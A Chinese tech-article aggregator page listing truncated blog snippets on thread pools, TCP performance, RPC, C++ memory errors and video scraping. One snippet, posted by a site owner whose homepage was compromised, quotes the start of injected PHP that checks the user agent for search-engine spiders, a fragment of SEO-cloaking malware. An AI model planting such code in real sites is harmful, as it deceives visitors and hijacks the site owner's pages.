原文:細數線程池五大坑,一不小心線上就崩了

系統性能優化的幾種常用手段是異步和緩存。因此我們常常使用線程池異步處理一些業務。 線程池的使用還是相對比較簡單的,首先創建一個線程池,然后通過execute或submit執行任務。 但魔鬼往往藏於細節之中,稍有不慎就會出錯。本文將會詳細總結線程池容易出錯的五大坑 一 拒絕策略參數知多少 二 拒絕策略使用不當,系統阻塞不可用 三 多任務get 異常時,結果獲取有誤 四 ThreadLocal與線程池 ...

2021-11-01 22:14 0 442 推薦指數:

查看詳情

線上問題排查,一不小心踩到阿里的 arthas

最近幫新來的校招同學排查一個線上問題,問題本身不是很難,但是過程中踩到了一個arthas的,挺有意思的。 同時,也分享下在排查過程中使用的一些比較實用的工具,包括tcpdump、arthas、simpleHTTPServer等,希望能對大家有所幫助。 1.問題描述 新開發的一個功能,簡單 ...

Wed Oct 28 04:54:00 CST 2020 2 880
一不小心實現了RPC

前言 隨着最近關注 cim 項目的人越發增多,導致提的問題以及 Bug 也在增加,在修復問題的過程中難免代碼潔癖又上來了。 看着一兩年前寫的東西總是懷疑這真的是出自自己手里嘛?有些地方實在 ...

Tue Apr 28 16:41:00 CST 2020 2 746
一不小心被掛了馬,代碼如下

的 主頁被添加 了以下代碼 $key= $_SERVER["HTTP_USER_AGENT"]; if(strpos($key,'ogou')!== false || strpos($k ...

Fri Mar 13 23:33:00 CST 2020 0 1034
一不小心,陷入TCP的性能問題

一、現象   在一次訪問請求nginx中,通常只需要幾毫秒的RT,但當請求數據達到某一個數值時,rt明顯提高,甚至超過了300毫秒。  二、問題的原因   大家都知道,TCP為了提高帶寬利用率和 ...

Sat Jun 03 05:51:00 CST 2017 4 1764
一不小心寫了個WEB服務器

開場   Web服務器是啥玩意? 是那個托管了我的網站的機器么? No,雖然那個也是服務器,但是我們今天要說的Web服務器主要是指像IIS這樣一類的,用於處理request並返回response的工 ...

Tue Apr 22 16:32:00 CST 2014 81 31782
C++ 一不小心被delete兩次

2012-09-11 18:04:看到園里朋友們這么熱心,有那么一會心里好興奮。:) 2012-09-11 下午:本文曾出現很嚴重的錯誤,但不要緊,感謝園友們的即使指正。 不喜歡程序語言的 C++類中,有時候使用到傳值調用(對象實體做參數),遇到這種情況,可要小心了!特別是當你所傳值的對象 ...

Tue Sep 11 20:10:00 CST 2012 31 3900
今天一不小心,把抖爸爸給爬了

引言 今天躺在床上刷抖音的時候,正好刷到「基地邊緣」的有關 SpaceX 的科普視頻,忽然我就想,這個視頻我能怎么把它搞下來呢? 分析 在抖音上點擊分享的時候可以有下載的選項,但是這個就下載 ...

Sun Jun 07 19:11:00 CST 2020 0 4142
 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM